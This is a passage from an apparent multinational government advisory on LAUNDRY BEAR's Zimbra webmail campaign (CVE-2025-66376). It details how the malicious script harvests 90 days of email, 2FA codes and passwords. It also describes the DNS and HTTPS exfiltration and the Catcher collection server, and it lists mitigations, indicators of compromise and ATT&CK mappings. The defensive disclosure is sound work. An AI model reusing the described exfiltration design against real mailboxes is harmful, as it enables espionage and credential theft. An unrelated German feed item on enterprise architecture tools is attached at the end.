As part of collection, the script attempts to harvest any emails not marked as “junk” from the last 90 days from the victim’s account. Emails are collected daily by an HTTP GET request to the URL path, “/home/~/?fmt=tgz&meta=0&query=date:-{DAY_OFFSET}d AND (not in:junk)”. The {DAY_OFFSET} value would be between 0 and 89 representing how many days ago the email was sent or received. To prevent redundant collection and exfiltration of emails, a variable with a name based on the email date being queried, using a format of zd_comp_YYYY-MM-DD, and value of true, is saved to the window.top.localStorage property. This variable is saved regardless of whether the email is successfully exfiltrated.  

According to Mozilla documentation, if the user is not in a private browsing session, any data stored to localStorage does not typically expire. This means that if the user happens to execute the script again from the same computer, the script avoids attempting to re-exfiltrate previously captured emails. However, the script always attempts to pull any emails with a {DAY_OFFSET} of zero. In other words, the script always pulls emails sent or received the same day it is run. After email results are returned from the query for each day of email activity, those results are then passed to Flowerbed as described in the Exfiltration section.

The script also provides LAUNDRY BEAR with telemetry on any errors that occur during the collection process. This is accomplished by executing any collection or exfiltration code through helper functions that contain error handling logic. If an error occurs, a payload containing information on the error itself, the context of the error happening, and the stage in which the error occurred is sent to Flowerbed as described in the Exfiltration section below. For cases where the error occurs within a SOAP request, “:api” is concatenated to the stage value in the payload. If an error occurs during the batch SOAP requests that occur when collecting the GAL of the victim, the stage value will use a format of gather_gal:{VAL}:api. The {VAL} placeholder indicates which batch request, a number from 0 to 19, the error occurred in. Errors that occur during the password autocomplete interception process will use “gather_autocomplete_password:dom” for the stage value. Finally, if an error occurs when attempting to collect or exfiltrate a specific day’s emails, the stage will include which day the error occurred on, using the previously defined placeholder {DAY_OFFSET}, with a format of sendArchive:day-{DAY_OFFSET}.

Exfiltration

At the end of each stage in the collection process, the script attempts to exfiltrate acquired information to Flowerbed. The script primarily relies on two forms of data exfiltration: DNS [T1048.003] and HTTPS. Some information is exfiltrated over both the DNS and HTTPS channels.

Prior to exfiltration, a randomized 10- or 11-character alphanumeric string is generated as an identifier for the victim. This identifier is included in the URL of both the DNS- and HTTPS-based exfiltration.  

DNS exfiltration

DNS exfiltration occurs through DNS A record queries. To ensure data exfiltrated through DNS is not corrupted when traversing through non-actor-controlled DNS infrastructure, Ulej maintains compliance with RFC 1035, Domain Names - Implementation and Specification, specifically accounting for the case insensitivity and subdomain length requirements. Base32 encoding is used to create a case-insensitive payload. Once the payload is encoded, a period (“.”) is added every 60 characters to ensure each subdomain is under 63 characters long. The script then creates a new image object sourced from a URL with the scheme defined in Figure 6. Any traffic involving DNS exfiltration will have “d-“ prefixing the victim identifier, and the subdomain immediately following indicates the type of information being exfiltrated.

Figure 6: Structure for information exfiltrated by DNS
Figure 6: Structure for information exfiltrated by DNS

When the script generates an image object, the browser tries to retrieve the complete domain of the URL specified as the source of the image. This triggers a DNS request sent to the actor-controlled server and processed by Flowerbed. Table 3 lists both the information exfiltrated via DNS and their corresponding data type identifiers in the DNS queries.  

Table 3: DNS exfiltration

Type of Information 

Exfiltration Stage 

Data Type 

Victim’s Email Address 

gather_email 

e 

Client Type 

gather_environment 

c 

Zimbra Version 

gather_environment  

v 

URL at Time of Exploitation 

gather_environment 

url 

2FA Scratch Codes 

gather_2fa_codes 

2fa 

Newly Created Application Password 

gather_app_password 

pa 

Harvested Autocomplete Password 

gather_autocomplete_password 

pw 

HTTPS exfiltration

Any information exfiltrated via DNS is also exfiltrated through HTTPS, as well as additional data including email content, contacts, attachments, and error logging information. By using Let’s Encrypt certificates, this group can quickly deploy new infrastructure and leverage encrypted HTTPS communications with valid server certificates when exfiltrating information from the victim’s environment. The HTTPS exfiltration capability only uses two HTTP content types, defined in Table 4. Traffic associated with HTTPS exfiltration will use the URL scheme shown in Figure 7.  

Table 4: HTTPS exfiltration types

Content Type 

URL Path 

application/json 

/v/p 

application/octet-stream 

/v/d 

Figure 7: Structure for information exfiltrated by HTTPS
Figure 7: Structure for information exfiltrated by HTTPS

Some of the data transmitted via HTTPS uses the standard JSON content type format. The script includes the information in a POST request to actor-controlled infrastructure.  

Table 5 provides a summary of the JSON-based exfiltration.

Table 5: HTTPS JSON exfiltration  

Type of Information 

Exfiltration Stage 

JSON Key(s) 

Victim’s Email Address 

gather_email 

email 

Client Type, Version, and Current URL 

gather_environment 

client, version, full_url 

Newly Created Application Password 

gather_app_password 

app_password 

Harvested Autocomplete Password 

gather_autocomplete_password 

autocomplete_password 

The script transmits all HTTPS exfiltration not identified in Table 5 using the Octet-Stream content type as binary data. The POST requests for this method include a filename in the “X-Filename” header. Traditionally, developers use headers prefixed with “X-” to denote custom headers that do not follow a defined standard. The purpose of including this header remains unclear since the Catcher capability ignores the provided filename when saving the data. Table 6 summarizes the data exfiltrated in this format.

 Table 6: HTTPS binary exfiltration

Type of Information 

Exfiltration Stage 

X-Filename Header 

SOAP request for GetInfoRequest 

gather_environment 

zimbra_batch_analytics.json 

SOAP request for GetScratchCodesRequest 

gather_2fa_codes 

zimbra_batch_analytics.json 

SOAP request for GetDeviceStatusRequest 

gather_device_status 

zimbra_batch_analytics.json 

SOAP request for GetOAuthConsumersRequest 

gather_oauth_consumers 

zimbra_batch_analytics.json 

Victim Organization’s Global Address List 

gather_gal 

telemetry_{1-20}.json 

Last 90 Days of Victim’s Emails 

sendArchives 

telemetryData_{0-89}.json 

The script sends all exfiltrated data identified in Table 6 to the Catcher service exactly as received from the SOAP request in a JSON payload, except for email exfiltration. For email exfiltration, the script sends it as a GZIP compressed archive [T1560]. Although most of the exfiltration consists of valid JSON, the script still attempts to exfiltrate all information identified in Table 6 using the application/octet-stream content typing rather than application/json.

At the beginning and end of the collection and exfiltration activity, during the sendStartPing and sendFinishPing stages respectively, the script submits a POST request with a JSON payload to indicate that the script is starting or finishing execution. Throughout execution, the script also logs error events and send the logs using similar JSON payloads. The script sends the JSON in a POST request to the URL documented in Figure 2, using a URL path of “/v/p” and with a “subtype” key that shows which type of action it logged (start, finish, or error).  

Catcher

Ulej exfiltrates information to Flowerbed to be handled by a service named Catcher. Catcher is a containerized Python application, running in Docker as part of Flowerbed, which is detailed in the Resource development section. It receives exfiltrated data and temporarily stores it, enabling its eventual transfer to infrastructure designed for long-term, secure storage.

Catcher acts as an HTTP server over port 8000 and a DNS server on port 53. As described in the Resource development section, the Flowerbed project uses an additional Docker container running an Nginx reverse proxy to enable HTTPS support. This reverse proxy uses a certificate generated by Let’s Encrypt and forwards all traffic with an SNI containing “*.i.*” to port 8000 within the Catcher container.

The DNS service can accept A, AAAA, MX, TXT, and CAA queries. For any MX, AAAA, or CAA queries, the server will always provide an empty response. The system only supports TXT records as needed to process Automatic Certificate Management Environment (ACME) requests, which enable the assignment of Let’s Encrypt certificates. If the server receives an A query, Catcher will always respond with the public IP address of the Flowerbed server.  

However, if a query includes a domain formatted as shown in Figure 6 and Figure 7, the service saves a log file in JSON format to disk containing the following details of the DNS query:

  • Time of query,
  • Source IP address for query,
  • Queried domain, and
  • Type of query.

The HTTP server typically responds with OK, except in cases where the path is “pixel.gif” when the response contains a 1x1 gif image with a SHA-256 hash of ef1955ae757c8b966c83248350331bd3a30f658ced11f387f8ebf05ab3368629. Like the DNS service, the HTTP service will only log entries when the domain found in the host header of the request follows the expected formatting as seen in Figure 6 and Figure 7. As the HTTPS exfiltration uses non-standardized binary and JSON-formatted payloads when exfiltrating to Catcher, Catcher will check the content type of the request. If the content type is set to “application/json”, Catcher encodes the data in Base64 and includes it in the JSON log entry written to disk. If the content type is set to any other value, Catcher leaves the Base64 payload in the JSON log entry blank and saves the payload to a separate file with the same filename as the JSON log entry with a “.bin” file extension. An HTTPS exfiltration event causes Catcher to save a JSON formatted log file to disk containing the following information from the HTTP request:

  • Time,
  • Source IP address,
  • Request method,
  • Host,
  • Path,
  • Query string,
  • Headers, and
  • Base64 payload.

These JSON event log files and binary output files are then initially saved to the directory /root/hits/tmp and later moved to the /root/hits/ready directory once processed. This prevents incomplete files, which are still being uploaded to Catcher, from premature exfiltration from the server. Approximately every 60 seconds, a likely automated workflow establishes a Secure Shell (SSH) connection with the server hosting Flowerbed for a few seconds, almost certainly exfiltrating the data processed by Catcher to non-public-facing infrastructure. The command in Figure 8 also executes hourly to remove all files last modified at least two days ago from the /root/hits/ready directory.

Figure 8: Command used for automated directory cleanup
Figure 8: Command used for automated directory cleanup

Response strategies

Mitigations

In many cases, by the time an organization identifies a compromise related to this campaign, numerous sensitive and proprietary emails have already been exfiltrated. The significant risk posed by this cyber threat emphasizes the importance for organizations that use ZCS and other similar webmail solutions to take proactive steps to mitigate this risk.

All organizations that use the ZCS webmail service should immediately prioritize ensuring that their ZCS is not running a vulnerable version. A patch for CVE-2025-66376 was released for both 10.1.13 and 10.0.18 versions of ZCS [D3-AH]. If immediate patching is not feasible, organizations should advise employees to use alternative mail clients to access email and avoid using the Classic ZCS webmail client until ZCS is updated to a non-vulnerable version [d3f:Isolate].

System administrators should closely monitor any Internet-connected ZCS or other email systems and the workstations that access those systems and promptly apply available software updates [D3-AH]. Administrators can maintain awareness of active vulnerability exploitation by referencing open source resources, including CISA’s Known Exploited Vulnerabilities Catalog and NCSC-UK’s Responding to active exploitation of vulnerabilities guidance.

Organizations should consider using a third-party authentication service that supports passkeys for authentication to mediate access to ZCS and other services that do not natively support passkeys. By doing so, organizations can work to eliminate the possibility of automated password collection from autocomplete or password reuse [D3-CH]. However, Application Passcodes may still be necessary and should be monitored closely.  

Organizations should implement network monitoring capabilities with collection and short-term retention of packet capture or NetFlow data and maintain log collection and storage [CPG 3.Q]. This will allow organizations to monitor for and identify suspicious network activity [CPG 4.B], such as:

  • Significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization [D3-NTA];
  • Frequent DNS queries for a suspicious domain with seemingly random subdomains [D3-DNSTA];
  • A sudden spike of connections to a server associated with a recently established domain [D3-NTCD]; and  
  • Connections to internal services, such as webmail, from VPN providers frequently leveraged by this group for nefarious activity, such as Mullvad VPN [D3-NTCD].

Additionally, for organizations that can inspect the content of outbound HTTPS connections via break-and-inspect infrastructure, security teams should identify traffic matching the characteristics described in the Exfiltration section of this advisory.

Indicators of compromise (IOCs)

Flowerbed infrastructure

The following indicators have been attributed to use by LAUNDRY BEAR for their campaign targeting ZCS’s webmail service as of the publication of this advisory. (Disclaimer: Due to the frequency of operational structure changes by this group, these indicators are intended solely for historic attribution purposes. Some indicators, such as IPs, compromised emails, and domains, may be outdated, so organizations should check for current activity before acting on these IOCs.) Table 7 provides details about the server infrastructure used to host Flowerbed, and Table 8 lists the corresponding SHA-1 hash values for the Let’s Encrypt certificates used by that infrastructure [D3-IAA].

Table 7: Flowerbed server infrastructure

Domain 

IP Address 

First Seen 

Last Seen 

zmailanalytics[.]com 

216.252.238[.]104 

8 July 2025 

15 October 2025 

zimbra-metadata[.]com 

216.252.238[.]18 

20 August 2025 

14 October 2025 

analyticemailmeter[.]com 

37.120.247[.]228 

24 September 2025 

18 March 2026 

emailanalytics.com[.]ua 

185.86.79[.]95 

24 September 2025 

18 March 2026 

mailnalysis[.]com 

104.248.134[.]194 

11 November 2025 

17 February 2026 

zimbrastat[.]com 

64.226.124[.]190 

18 December 2025 

18 March 2026 

zimbrasoft.com[.]ua 

193.238.152[.]66 

20 January 2026 

18 March 2026 

synacorzimbra[.]nl 

216.252.238[.]64 

3 February 2026 

30 March 2026 

istc-cloud[.]com 

194.156.103[.]193 

5 February 2026 

30 March 2026 

Table 8: Flowerbed X.509 certificate SHA-1 hashes  

Associated Domain 

X.509 SHA-1 Hash 

First Seen 

Last Seen 

zmailanalytics[.]com 

2e4f314bc9943cab5005d6fde0b271c74d47bc9d 

8 Jul 2025 

6 Aug 2025 

*.i.zmailanalytics[.]com 

50a87d926621dd06389ba50d86e0ff574ed713a8 

6 Aug 2025 

13 Oct 2025 

*.i.zimbra-metadata[.]com 

c5a72420e7bb308d078e62128430897f82194c95 

20 Aug 2025 

14 Oct 2025 

*.i.analyticemailmeter[.]com 

8959c4d29e29f02ea94ea8bb21c8df2594c5549d 

24 Sep 2025 

8 Nov 2025 

*.i.emailanalytics.com[.]ua 

62eb76432597694edb01c1fe57aab0cfe03a7178 

25 Sep 2025 

27 Sep 2025 

*.i.mailnalysis[.]com 

cddf5c3be1e07f28140aed165b929bf2d614922a 

12 Nov 2025 

17 Dec 2025 

*.i.zimbrastat[.]com 

18b3ad442ce73cc8656d51d75bbd7c855f2cb7e8 

18 Dec 2025 

28 Dec 2025 

*.i.zimbrasoft.com[.]ua 

1b25041ececf2457eef0270fc1d785cec8ec9ded 

21 Jan 2026 

10 Feb 2026 

*.i.synacorzimbra[.]nl 

e4fe6466a4f9a4249fe330651e914e45bbdca44a 

5 Feb 2026 

22 Mar 2026 

*.i.istc-cloud[.]com 

b6b77c9a455225d525834a403ca9ef5481ed0447 

12 Feb 2026 

30 Mar 2026 

LAUNDRY BEAR has used the following email addresses to procure resources used for this campaign:

  • ivanka.zurabishvili@proton[.]me,
  • zmul1@buildandconsulting[.]com,
  • garrysmithme@pinmx[.]net, and
  • hostingclient@pinmx[.]net.

Phishing distribution

LAUNDRY BEAR primarily relied on ProtonMail for distribution of malicious email. However, as stated above, LAUNDRY BEAR’s more recent efforts likely have shifted to distributing the payload through previous victims.  

The following email addresses have distributed payloads attributed to this campaign:

  • c.laurent.ejfa@proton[.]me,
  • j.moreau.epsc@proton[.]me,
  • liberty.insights@proton[.]me,
  • certain email addresses (presumably compromised) at the isofts.kiev[.]ua domain (i.e., ending with @isofts.kiev[.]ua), and
  • certain email addresses (presumably compromised) at the navs.edu[.]ua domain (i.e., ending with @navs.edu[.]ua).

Additionally, the following are SHA-256 hashes of email samples containing the malicious payload attributed to this campaign:

  • 98df604ecc57f884a2e6ce3266a0013ad64455cac48442c2312cfa4765007aaf,
  • 60db9abae75cd8ccc49dd7ea5feb41677566dcd442f12ebc5745ffd2810fb874,
  • b1f5beb1175fc5c7d1806a2f0d900eb124c54f0286c5c52b66eea7a6633adb1d, and
  • 1517b3caa495f6c4e832df9c75fc94667e3c233773f7fa4e056d5e30e5ead760.

Post-compromise artifacts

Currently, the script does not remove artifacts. This leaves additional opportunities to identify victims of this activity. While emphasis should always be placed on consistent monitoring of network traffic and endpoint activity, there are a variety of persistent artifacts described below that can be used to identify victims of this campaign.

This Ulej capability relies on creating a significant number of SOAP requests to collect account information for exfiltration. ZCS logs from these requests are stored, by default, in the /opt/zimbra/log/mailbox.log file [D3-PA]. A significant amount of SOAP request activity that aligns with what was described in the Persistence and credential access and Collection sections of this advisory could indicate a potential compromise. Specific examples of high-risk SOAP request activity might include:

  • Many SearchGalRequest command requests from a single user over a short period of time;
  • Use of the CreateAppSpecificPasswordRequest command, especially in cases where it is creating an Application Passcode named “ZimbraWeb”; and
  • Use of the GetScratchCodesRequest command.

While LAUNDRY BEAR uses the localStorage property to track what days had emails previously exfiltrated, defenders can use this property to identify victims of this campaign and determine the scope of exfiltrated information [D3-PA]. Review of the items stored in that property for an organization’s ZCS webmail client page on an endpoint device could indicate compromise if there are items named with a format of zd_comp_YYYY-MM-DD, as explained in the Collection section of this advisory.

While Application Passcodes have non-malicious purposes, in this case instances of these passcodes with the name “ZimbraWeb” are almost certainly malicious. The ZCS webmail application can support 2FA natively and does not require the use of an Application Passcode, so there is no reason that there should be one named “ZimbraWeb.”

In instances where organizations identify victims of this campaign, they should also examine the inbox of the suspected victim for the original phishing email [D3-MA]. If an email that has a payload exploiting CVE-2025-66376 is discovered, steps should be taken immediately to identify and quarantine other instances of emails with similar body content, senders, and subject lines to prevent further exploitation and exfiltration.  

Remediation

In the event an organization identifies activity associated with this campaign, that organization should take steps to minimize further exploitation. The organization should consider requesting that employees minimize use of the ZCS webmail client until the organization updates to a patched version that is not vulnerable to CVE-2025-66376.

Organizations should use identifiers from the IOCs section of this report to identify any individuals compromised by this campaign and record the date(s) of compromise(s) to determine the scale and scope of emails exfiltrated.

All users from the organization should have all Application Passcodes and 2FA scratch keys revoked. Affected organizations should require all employees to change passwords in line with establishing minimum password strength requirements [CPG 3.B] and creating unique credentials [CPG 3.C], specifically noting that compromised employees might have had any password stored in a password manager exfiltrated.

Works cited

[1] Netherlands General Intelligence and Security Service (AIVD) and Netherlands Defence Intelligence and Security Service (MIVD). AIVD and MIVD identify a new Russian cyber threat actor. 2025. https://www.aivd.nl/site/binaries/site-content/collections/documents/2025/05/27/aivd-en-mivd-onderkennen-nieuwe-russische-cyberactor/Advisory+AIVD+en+MIVD+Public+report+on+new+cyber+actor.pdf

[2] Microsoft Corporation. New Russia-affiliated actor Void Blizzard targets critical sectors for espionage. 2025. https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/

[3] Palo Alto Networks Unit 42. Russian Global Webmail Espionage. 2026. https://unit42.paloaltonetworks.com/russian-webmail-espionage/ 

[4] Proofpoint. TA488 Targets Zimbra Mailservers with Half-Click Exploits. 2026. https://www.proofpoint.com/us/blog/threat-insight/ta488-zcs-exploit

[5] Seqrite. Operation GhostMail: Russian APT exploits Zimbra Webmail to Target Ukraine State Agency. 2026. https://www.seqrite.com/blog/operation-ghostmail-zimbra-xss-russian-apt-ukraine/  

Footnotes

1 NĂĄrodnĂ­ Ășƙad pro kybernetickou a informačnĂ­ bezpečnost
2 Forsvarets Efterretningstjeneste
3 VĂ€lisluureamet
4 Sotilastiedustelu
5  Suojelupoliisi
6 Direction générale de la sécurité intérieure
7 Agence nationale de la sĂ©curitĂ© des systĂšmes d’information
8 Agenzia Informazioni e Sicurezza Esterna
9 Agenzia Informazioni e Sicurezza Interna
10 Serviciul de Informații și Securitate al Republicii Moldova
11 Agencja Wywiadu
12 SƂuĆŒba Kontrwywiadu Wojskowego
13 Centro Nacional de Inteligencia
14 Nationellt CybersÀkerhetscenter
15 MITRE and ATT&CK are registered trademarks of The MITRE Corporation. MITRE D3FEND is a trademark of The MITRE Corporation.

Acknowledgements

The authoring agencies acknowledge the contributions to this advisory from Palo Alto Networks Unit 42 and Proofpoint.

Disclaimer of endorsement

The information and opinions contained in this document are provided "as is" and without any warranties or guarantees. Reference herein to any specific commercial products, process, or service by trade name, trademark, manufacturer, or otherwise, does not constitute or imply its endorsement, recommendation, or favoring by the United States Government, and this guidance shall not be used for advertising or product endorsement purposes.

Organizations have no obligation to respond or provide information back to the authoring organizations in response to this joint advisory. If, after reviewing the information provided, an organization decides to provide information to the authoring organizations, reporting must be consistent with all applicable laws and policies.

Purpose

This document was developed in furtherance of the authoring agencies’ cybersecurity missions, including their responsibilities to identify and disseminate threats, and to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders.

Contact

United States organizations 

  • National Security Agency 
    Cybersecurity Report Feedback: CybersecurityReports@nsa.gov 
    Defense Industrial Base Inquiries and Cybersecurity Services: DIB_Defense@cyber.nsa.gov 
    Media Inquiries / Press Desk: NSA Media Relations: 443-634-0721, MediaRelations@nsa.gov 
  • Cybersecurity and Infrastructure Security Agency 
    CISA’s 24/7 Operations Center (contact@cisa.dhs.gov), or by calling 1-844-Say-CISA (1-844-729-2472). 
  • Federal Bureau of Investigation 
    If you or someone you know has fallen victim to this campaign, file a complaint with IC3. 
  • Defense Counterintelligence and Security Agency  
    DCSA Counterintelligence, Cyber Mission Center, Cyber Threat Operations Branch: DCSA.CI.CyberOps@mail.mil 
    Cleared Contactors (CCs) should contact their DCSA Counterintelligence Special Agent to report information pertaining to suspicious contacts or physical/digital efforts to obtain illegal or unauthorized access to the CC’s cleared facility/information, as required by 32 CFR 117. 
    Media/Public Inquiries: dcsa.quantico.dcsa-hq.mbx.pa@mail.mil  
  • Department of Defense Cyber Crime Center  
    Defense Industrial Base Inquiries and Cybersecurity Services: DC3.DCISE@us.af.mil 
    Defense Industrial Base mandatory cyber incident reporting as required by 10 U.S. Code Sections 391 and 393 and Defense Federal Acquisition Regulation Supplement (DFARS) 252.204-7012 is submitted at https://dibnet.dod.mil 
    Media Inquiries / Press Desk: DC3.Information@us.af.mil 
  • Naval Criminal Investigative Service 
    To report criminal activity impacting the United States Navy, go to www.ncis.navy.mil and click “Submit a Tip”

Dutch organizations 

Australian organizations 

  • Australian Signals Directorate 
    Visit cyber.gov.au or call 1300 292 371 (1300 CYBER 1) to report cybersecurity incidents and access alerts and advisories. 

Canadian organizations 

  • The Canadian Centre for Cyber Security (Cyber Centre), part of the Communications Security Establishment, encourages Canadian organizations to report cyber incidents and to strengthen the security of their networking devices.  
    Report an incident or suspicious activity to the Cyber Centre by email at contact@cyber.gc.ca, online via the reporting tool Report a cyber incident - Canadian Centre for Cyber Security or by phone at 1-833-CYBER-88 (1-833-292-3788). 

New Zealand organizations 

United Kingdom organizations 

Estonia organizations 

Finnish organizations 

French organizations 

  • French organizations are encouraged to report suspicious activity or incident related information found in this advisory by contacting ANSSI/CERT-FR at: cert-fr@ssi.gouv.fr or by phone at: 3218 or +33 9 70 83 32 18. 

Italian Organizations 

Moldovan organizations 

  • Security and Intelligence Service of the Republic of Moldova (SIS RM): cybersec@sis.md 

Polish organizations 

Appendix A: MITRE ATT&CK tactics and techniques

See Table 9 through Table 19 for all the threat actor tactics and techniques referenced in this advisory.

Table 9: Reconnaissance 

Technique Title 

ID 

Use 

Gather Victim Identity Information: Credentials 

T1589.001 

The payload attempts to intercept a victim’s password from their password manager. 

Gather Victim Identity Information: Email Addresses 

T1589.002 

The payload attempts to grab the victim’s email address from various data stores. 

Search Open Websites/Domains 

T1593 

This group likely leverages public information to support target development. 

Active Scanning 

T1595 

Port scanning can be used by this group to assist with determining exploitability of identified targets. 

Search Open Technical Databases: Scan Databases 

T1596.005 

Various public datasets can provide information to support discovery of exploitable targets. 

Search Closed Sources 

T1597 

Previously exfiltrated data can be used to enhance target development efforts. 

Search Closed Sources: Purchase Technical Data 

T1597.002 

Commercial datasets can also be used to support target development efforts. 
Table 10: Resource Development 

Technique Title 

ID 

Use 

Acquire Infrastructure 

T1583 

This group used Mullvad VPN to anonymize traffic sent to operational infrastructure. 

Acquire Infrastructure: Virtual Private Server 

T1583.003 

This group procured VPS servers from a variety of vendors. 

Develop Capabilities 

T1587 

The Ulej capability was developed likely for use by this group to conduct spear phishing campaigns. 

Develop Capabilities: Malware 

T1587.001 

Development of a novel payload that steals a victim’s emails and other sensitive account information. 

Develop Capabilities: Exploits 

T1587.004 

Development of a novel, at the time, cross-site-scripting (XSS) exploit that enables execution of arbitrary JavaScript. 

Obtain Capabilities: Tool 

T1588.002 

Open source tools, such as Evilginx2, have also been used by the group. 

Obtain Capabilities: Artificial Intelligence 

T1588.007 

The group appears to have leveraged AI to support development efforts. 

Stage Capabilities 

T1608 

Flowerbed is deployed to a procured server in the cloud. 

Table 11: Initial Access 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized access to accounts. Additionally, this actor is believed to use previously compromised accounts to conduct spear phishing.  

Trusted Relationship 

T1199 

The group sends malicious payloads to targeted individuals using previously compromised accounts that might have an established relationship with the target.  

Phishing 

T1566 

The actors used spear phishing to lure users into opening malicious email. 

Table 12: Execution 

Technique Title 

ID 

Use 

Exploitation for Client Execution 

T1203 

An XSS vulnerability was leveraged to execute the JavaScript payload. 

Table 13: Persistence 

Technique Title 

ID 

Use 

Account Manipulation 

T1098 

Enabling IMAP and Application Passcodes provides persistent access to the compromised account. 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Table 14: Privilege Escalation 

Technique Title 

ID 

Use 

Valid Accounts 

T1078 

This actor has used commercial datasets to acquire account credentials and gain unauthorized privileged access to accounts.  

Table 15: Stealth 

Technique Title 

ID 

Use 

Obfuscated Files or Information: Command Obfuscation 

T1027.010 

Obfuscated JavaScript payload sent to targets to exploit the XSS vulnerability. 

Obfuscated Files or Information: Encrypted/Encoded File 

T1027.013 

The JavaScript payload included both a Base64-encoded and XOR-encrypted inner payload. 

Obfuscated Files or Information: SVG Smuggling 

T1027.017 

The payload was contained in an “onload” attribute within an SVG image included in the malicious email. 

Use Alternate Authentication Material: Web Session Cookie 

T1550.004 

Previous campaigns using AiTM leveraged stealing and use of a victim’s session cookies to authenticate. 

Table 16: Credential Access 

Technique Title 

ID 

Use 

Modify Authentication Process: Multi-Factor Authentication 

T1556.006 

Creating Application Passcodes to bypass 2FA and stealing a user’s “Scratch Keys,” which can be used in place of a 2FA token. 

Adversary-in-the-Middle 

T1557 

Previous campaigns used Evilginx2 as an AiTM toolkit to intercept credentials and session cookies. 

Table 17: Collection 

Technique Title 

ID 

Use 

Data Staged: Remote Data Staging 

T1074.002 

Exfiltrated data was sent to an actor-controlled VPS prior to assumed long-term storage solutions. 

Email Collection 

T1114 

This group has emphasized collection of emails. 

Email Collection: Remote Email Collection 

T1114.002 

Emails are collected via API calls to the ZCS mail server and are not collected from emails stored directly on the victim’s device. 

Automated Collection 

T1119 

Upon execution, the JavaScript payload automatically collects all relevant information in stages. 

Browser Session Hijacking 

T1185 

The JavaScript payload leverages the user’s authenticated browser session to make API requests as the user. 

Archive Collected Data 

T1560 

Emails are exfiltrated with GZIP compression. 

Table 18: Discovery 

Technique Title 

ID 

Use 

Account Discovery 

T1087 

Stolen Global Access Lists provide the group with new users to target. 

Table 19: Exfiltration 

Technique Title 

ID 

Use 

Exfiltration Over Alternative Protocol 

T1048 

Victim information was exfiltrated over both HTTPS and DNS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol 

T1048.002 

Some payloads, especially ones with large amounts of data, were exfiltrated over HTTPS. 

Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol 

T1048.003 

Some smaller bandwidth payloads were exfiltrated over DNS using Base32 encoding. 

Appendix B: MITRE D3FEND countermeasures

See Table 20 for a mapping of several of the cybersecurity countermeasures mentioned in this advisory.

Table 20: MITRE D3FEND Countermeasures 

Countermeasure Title 

ID 

Description 

Application Hardening 

D3-AH 
  • Organizations should immediately prioritize patching CVE-2025-66376.  
  • Organizations should promptly apply software updates to all email systems. 

Isolate 

d3f:Isolate 

Organizations that cannot feasibly patch should use alternative mail clients. 

Credential Hardening 

D3-CH 

Organizations should consider using a third-party authentication service that supports passkeys to mediate access to ZCS and other services that do not natively support passkeys. 

Network Traffic Analysis 

D3-NTA 

Organizations should monitor for significant amounts of outbound data being sent to IPs associated with VPS providers not used by the organization. 

DNS Traffic Analysis 

D3-DNSTA 

Organizations should monitor for frequent DNS queries to a suspicious domain for seemingly random subdomains. 

Network Traffic Community Deviation 

D3-NTCD 
  • Organizations should monitor for a sudden spike of connections to a server associated with a recently established domain. 
  • Organizations should monitor for connections to internal services, such as webmail, from VPN providers. 

Identifier Activity Analysis 

D3-IAA 

Organizations should search for the listed known IOCs. 

Process Analysis 

D3-PA 
  • Organizations should search ZCS log files for specific commands used by the malicious script. 
  • Organizations should search the localStorage property in web browsers for the ZCS webmail client for “ZimbraWeb” Application Passcodes. 
Message Analysis D3-MA Organizations that suspect they have victims of this campaign should search for emails with a malicious payload to identify other victims.
]]> <![CDATA[18 Enterprise-Architecture-Tools]]> https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/ https://tsecurity.de/de/3694429/it-security-nachrichten/18-enterprise-architecture-tools/ Sat, 25 Jul 2026 18:59:25 +0200 📰 IT Security Nachrichten tsecurity.de
Diese Enterprise Architecture Tools unterstĂŒtzen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens.

Diese Enterprise Architecture Tools unterstĂŒtzen Sie nicht nur bei der digitalen Transformation Ihres Unternehmens.

Foto: I Believe I Can Fly – shutterstock.com

Enterprise Architecture (EA) Tools unterstĂŒtzen Unternehmen und Organisationen dabei, mit ihren IT-Strategien die GeschĂ€ftsziele optimal zu unterstĂŒtzen. Sie sorgen ebenfalls dafĂŒr, dass Unternehmen ihre Roadmaps fĂŒr die digitale Transformation geordnet vorantreiben können. EA Tools bieten dafĂŒr unter anderem Collaboration-, Reporting-, Testing- und Simulationsfunktionen. Mit deren Hilfe lassen sich Modelle implementieren, die GeschĂ€fts- und IT-Prozesse gezielt verbessern.

Um die beste Lösung fĂŒr Ihr Unternehmen zu finden, sollten Sie zuerst prĂŒfen, ob sich das jeweilige Tool mit Ihrem Technologie-Stack integrieren lĂ€sst. Anschließend gilt es abzuwĂ€gen, ob die Informationen, Diagramme und Tabellen, die die Software zur VerfĂŒgung stellt, fĂŒr das Unternehmen auch einen echten Nutzwert haben.

Empfehlenswerte Enterprise-Architecture-Tools

Nachfolgend finden Sie einen Überblick ĂŒber die wichtigsten Enterprise-Architecture-Tools – in alphabetischer Reihenfolge. Sie stellen einen Mix aus Visualisierungs-, Collaboration- und Project-Management-Funktionen bereit und unterstĂŒtzen eine Vielzahl von Enterprise Architecture Frameworks.

Ardoq

Nachdem zuerst ĂŒber einfache Formulare Informationen von Usern, Entwicklern und sonstigen Stakeholdern im Unternehmen eingesammelt wurden, lĂ€sst sich mithilfe von Ardoq ein digitaler Zwilling der gesamten Organisation erstellen. Der Ansatz setzt also darauf, die Menschen, die in ihren Rollen mit den verschiedensten Systemen arbeiten, realistisch in ihrer Arbeitswelt abzubilden.

Jede Mitarbeiterin und jeder Mitarbeiter im Unternehmen kann spĂ€ter von den Netzwerkvisualisierungen und Datenfluss-Diagrammen profitieren, um seine eigene Rolle optimal zu unterstĂŒtzen und den Arbeitsplatz immer wieder anzupassen und zu modernisieren. Das Tool lĂ€sst sich mit den wichtigsten Cloud-Plattformen integrieren. Es bietet eine API, die individuelle Anpassungen in allen wichtigen Programmiersprachen (Python, C#, Java, etc.) ermöglicht.

Wichtigste Use Cases:

